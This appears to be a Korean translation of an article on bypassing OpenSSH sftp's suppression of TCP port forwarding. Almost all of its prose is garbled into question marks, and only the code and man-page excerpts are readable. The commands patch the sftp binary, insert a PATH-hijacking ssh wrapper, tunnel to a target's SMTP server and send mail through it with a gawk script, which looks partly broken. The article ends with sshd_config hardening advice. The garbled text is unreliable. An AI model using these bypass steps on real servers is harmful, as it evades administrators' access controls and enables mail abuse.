??

SSH ????? ?? ?? ??? ? ?? ?? ??? ?????. a) ?? ?? (??? ? ??), b) ???? ?? ? ?? ? c) ?? ??.

OpenSSH ???? SFTP ? SCP? ?? ??? ?? ?? ??? ??? ?????? (-L ? -R ??? ??). ??? ????? ???? ?? ?? ?? ??? ??? ?? ??? ?????? ???? ?? SSH ?? ???? ??? ?????.

?? ???? ??? ??? ??? ??? ? ????. ??? ?? ??? ?? SFTP ?? ??? ??? ?? ??? ?????? ??? ???? ????? ?? ??????.

??? SFTP ???? ??? ???? ????? ?? ?? ?? ?? ? ??? ?? ?? ?????? ??? ?? ? ??? ?????? ? ?? ?????. ???? ??? ??? ??? ???? ???? ? ??? ??? ? ????.

?? ??? ?????

??, ?? ???? ????? ?? ?? ?????. ?? ? ??? ? ??? ???? PID? ????? (??? ?? ??? ??). ??? Debian Dash (? ???? ?? ?? ?) ???? ???? BSD? PS ??? ?????.

 <code>pps () { local a= b= c= IFS=$'\r'; ps ax | while read -ra do [ "$b" ] || c=1; for b; do case "$a" in *"$b"*) c=1;; esac; done; [ "$c" ] && printf '%s\n' "$a" && c=; done; }</code>

???? SFTP ??? ???? ?? ????? ??????.

 <code>$ id uid=1001(aturing) gid=1001(aturing) groups=1001(aturing)... $ sftp aturing@sftp.victimandum.com aturing@sftp.victimandum.com's password: Connected to sftp.victimandum.com. sftp></code>

?? ?? UNIX ???? ?? SFTP ???? ??? ??? ?? ??? ??? ??? ?????.

??? ???? ??? ??? ?? ?? ???? ??? SFTP? ?? ? ?? SSH ????? ?????.

 <code>$ pps aturing PID TTY STAT TIME COMMAND 9666 pts/0 S 0:00 sftp aturing@sftp.victimandum.com 9667 pts/0 S 0:00 /usr/bin/ssh -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings yes -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp</code>

?? ClearAllForwardings ? ?? ????? ?? ?? ??? ??? ?? ?? ??? ?????.

-l ? -r ?? ?? ???? SFTP ?? ?? ?? ??? ???? ???? ??? -S ??? ???? ?? ??? ????? ??? ?? SSH ??? (? ?? ?? ??)? ??? ? ????.

 <code>$ cat portssh #!/bin/sh exec ssh -L2525:smtp.victimandum.com:25 "$@"</code>

?? ??? ???? ???? SFTP ??? ?? ??? ????? ?????.

 <code>$ sftp -S ./portssh -oClearAllForwardings\ no aturing@sftp.victimandum.com aturing@sftp.victimandum.com's password: Connected to sftp.victimandum.com. sftp></code>

?? ?? SSH ???? ?? ??? ? ? ????.

 <code>$ pps aturing PID TTY STAT TIME COMMAND 9897 pts/0 S 0:00 sftp -S ./portssh -oClearAllForwardings no aturing@sftp.victimandum.com 9898 pts/0 S 0:00 ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings yes -o ClearAllForwardings no -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp</code>

??? ?? ? ??? ?? ?? ??? ?? ?? ?? ??? ???? ?? ?????.

 <code>$ nc localhost 2525 $</code>

? ??? ??? ?? ???? ? ? ????.

 <code>$ sed -n /X11/,/Forwardings/p openssh-8.7p1/sftp.c addargs(&args, "-oForwardX11 no"); addargs(&args, "-oPermitLocalCommand no"); addargs(&args, "-oClearAllForwardings yes");</code>

??? ?? ???? ??? ? ?? ????? ? ? ????.

 <code>$ strings /usr/bin/sftp | grep [-]o[CFP] -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings yes -oForwardAgent no -oPort %d</code>

?????, ???? ??? ????? ???? ??? ????? ?? ??? ?????.

 <code>$ man ssh_config | sed -n /ClearAllForwardings/,/default/p ClearAllForwardings Specifies that all local, remote, and dynamic port forwardings specified in the configuration files or on the command line be cleared. This option is primarily useful when used from the ssh(1) command line to clear port forwardings set in configura‐ tion files, and is automatically set by scp(1) and sftp(1). The argument must be yes or no (the default).</code>

??? ? ???? ?????

Default ClearAllForwardings Yes ??? ??????? ???? ?? SED? ???? SFTP ????? ???? ?? ???? ???? (???? SED? ??-????? ??).

 <code>$ sed 's/AllForwardings yes/AllForwardings no /' sftp.noclearforward</code>

? ?? ??? ? ?? ??? ????? ??? ?? ????.

???? ????? ?????? ??? ? ????.

 <code>$ strings ./sftp.noclearforward | grep [-]o[CFP] -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no -oForwardAgent no -oPort %d</code>

?? ? SFTP? ??? ???? ???? ?? Linux BuildId SHA1? ???? ????? (??? ?? ? SFTP? ??? ?? ?? ??? ???? ????).

 <code>$ file /usr/bin/sftp ./sftp.noclearforward /usr/bin/sftp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d7e77e24d5fac0fdc89e62a4c9c656091f2c4a33, for GNU/Linux 3.2.0, stripped ./sftp.noclearforward: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d7e77e24d5fac0fdc89e62a4c9c656091f2c4a33, for GNU/Linux 3.2.0, stripped $ sha1sum /usr/bin/sftp ./sftp.noclearforward d8bdaf0b4642b9c324f9c2e0aeee2d9578fbe383 /usr/bin/sftp b12dda8ecfd7bd2847919b5531aea7c03364c123 ./sftp.noclearforward $ sha256sum /usr/bin/sftp ./sftp.noclearforward 986eecdfc654c9b3ff3fd0dce59690d47cf56be96a4b98a04a3682aef95d3f52 /usr/bin/sftp c8f99ce33fc129250c11dc6dbb8a01112e01124e470a92d0acefb955fd17d670 ./sftp.noclearforward</code>

?? ? SFTP ????? ???? ?? ??? ??? ? ? ????.

 <code>$ chmod 755 sftp.noclearforward $ ./sftp.noclearforward -S ./portssh aturing@sftp.victimandum.com aturing@sftp.victimandum.com's password: Connected to sftp.victimandum.com. sftp></code>

?? ?? ?????? ?? ? ??? ? ? ????.

 <code>$ pps aturing PID TTY STAT TIME COMMAND 9991 pts/0 S 0:00 ./sftp.noclearforward -S ./portssh aturing@sftp.victimandum.com 9992 pts/0 S 0:00 ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp</code>

? ??? ?? ???? ????? ???? ??? ??? ??? ??? ? ????.

 <code>$ nc localhost 2525 220 smtp.victimandum.com Microsoft ESMTP MAIL Service, Version: 1.2.3456.78901 ready at Sun, 1 Jan 2023 01:23:45 -0100 ^C</code>

???? ??? ?????? ?????? ??? ?? ? ?? ??? ???? ???????.

 <code>channel 3: open failed: administratively prohibited: open failed</code>

??? ??? ??? ?? ? SFTP ???? ?? ??? ?? ??? ?? ? ?? ??? ??????? ???????.

Posix Shell ??

Dash ? Posix ??? ?? ? ?? ??? ????? ???? ??? ????? Bash ? KSH93?? ? ?? ??? ?????.

 <code>$ cat ynargs #!/bin/bash echo "${@//yes/no}"</code>

?? ???? ???? ??? ?????.

 <code>$ ./ynargs -oForwardX11 no -oPermitLocalCommand yes -oClearAllForwardings yes -oForwardAgent no -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no -oForwardAgent no</code>

?? $ {@// .../...}? ??? posix? ??? PDKSH?? ?? ? ?? ?? ? (mksh, oksh)?? ??? ? ????. ?? ????? ???? ?? ??? ??? ???? (? : ??? ???? ?? ?? ?? ??? ?? ?? ???? ??? ? ??? ? ? ????.

??? ??? ??? ????? ????? ??? ?? ?? ??? ??? ?? SSH ??? ????.

 <code>$ cat ~/switcharoo/ssh #!/bin/bash exec /usr/bin/ssh "${@//yes/no}"</code>

?? ?? $ ???? System SSH ?? ????? ??????.

 <code>$ export PATH=~/switcharoo:$PATH $ which ssh ~/switcharoo/ssh</code>

?? ??? ?? ? ???? ??? SFTP? ?????.

 <code>$ /usr/bin/sftp -S ./portssh aturing@sftp.victimandum.com aturing@sftp.victimandum.com's password: Connected to sftp.victimandum.com. sftp></code>

??? ?? ?? ?? ??? ????? ?? ??????.

 <code>$ pps aturing PID TTY STAT TIME COMMAND 10058 pts/0 S 0:00 /usr/bin/sftp -S ./portssh aturing@sftp.victimandum.com 10059 pts/0 S 0:00 /usr/bin/ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp</code>

?? ??? ?? ??? ???????.

 <code>$ nc localhost 2525 220 smtp.victimandum.com Microsoft ESMTP MAIL Service, Version: 1.2.3456.78901 ready at Sun, 1 Jan 2023 01:23:45 -0100 ^C</code>

?? ???? ?? ????? ???? ??? SMTP ??? ?? ? ? ????.

 <code>$ cat awkmail #!/bin/gawk -f BEGIN { smtp="/inet/tcp/0/localhost/2525"; ORS="\r\n"; r=ARGV[1]; s=ARGV[2]; sbj=ARGV[3]; # /bin/awkmail to from subj 0) print |& smtp print "." |& smtp; smtp |& getline j; print j print "quit" |& smtp; smtp |& getline j; print j close(smtp) } # /inet/protocol/local-port/remote-host/remote-port</code>

? ????? ???? Target SMTP ??? ??? ? ??? ?? ????? ??? ??? ?? ? ????.

 <code>$ ./awkmail jatanasoff@victimandum.com aturning@localhost awkmail Queued mail for delivery</code>

??? ?? ? ???? ??? ??? ??? ??? ????.

?? ??

SFTP ???? ???? ??? ???? ??? TCP ??? ???? ??? ???? ??? ????? ??? ??? ? ????. ? ??? ???? ?? ??? ?? ?????.

???? ?? ??? ??? ??? SFTP ???? ??? ?? ? ?? SSHD_CONFIG ??? ??? ??? ???? ????.

 <code>Match Group sftponly ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no</code>

? ?? ??? ????? ?? ?? ??? ????? ?????.

?? ?? ?????? ?? ????. ? :

 <code>$ man sshd_config | sed -n /DisableForwarding/,/configurations/p DisableForwarding Disables all forwarding features, including X11, ssh-agent(1), TCP and StreamLocal. This option overrides all other forwarding- related options and may simplify restricted configurations.</code>

??? ??? ?? ????? ?????.

?????

?? ??? SFTP ????? ??? ?? ??? ?? ?? ???? ??? ? ????. SFTP ????? ??? ??? ??? ?? ?? ?? ? ? ????.

SFTP ?? ???? ?? ?? ??? ?? ??? ?? ?? ???? ??? TCP ????? ??? ???? ?? ?????? ???? ????. ?????? ???? ?? ???? ??? ??? ?? ??? TCP ??? ????? ?????. ??? SSH_CONFIG?? ???? ???? ?? ???? ?????? ??? ?????? ???????.

? ??? ??? ??? ?? ??? ?? ? ??? ??? ??????.

Site Exec? ??? ?? ? ?? ?? ??? FTP? ???? ??? ??? ??? ??? ?? ????. SFTP? ?? ??? ?? ??? ?? ??? ??? ??? ???? ?? ??? ?? ????.

???? ???? ??? ??? ???? ??? ??? ???? ??? ?? ??? ? ? ????.

? ??? SFTP ?? ?? : ?? ??? ??????? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!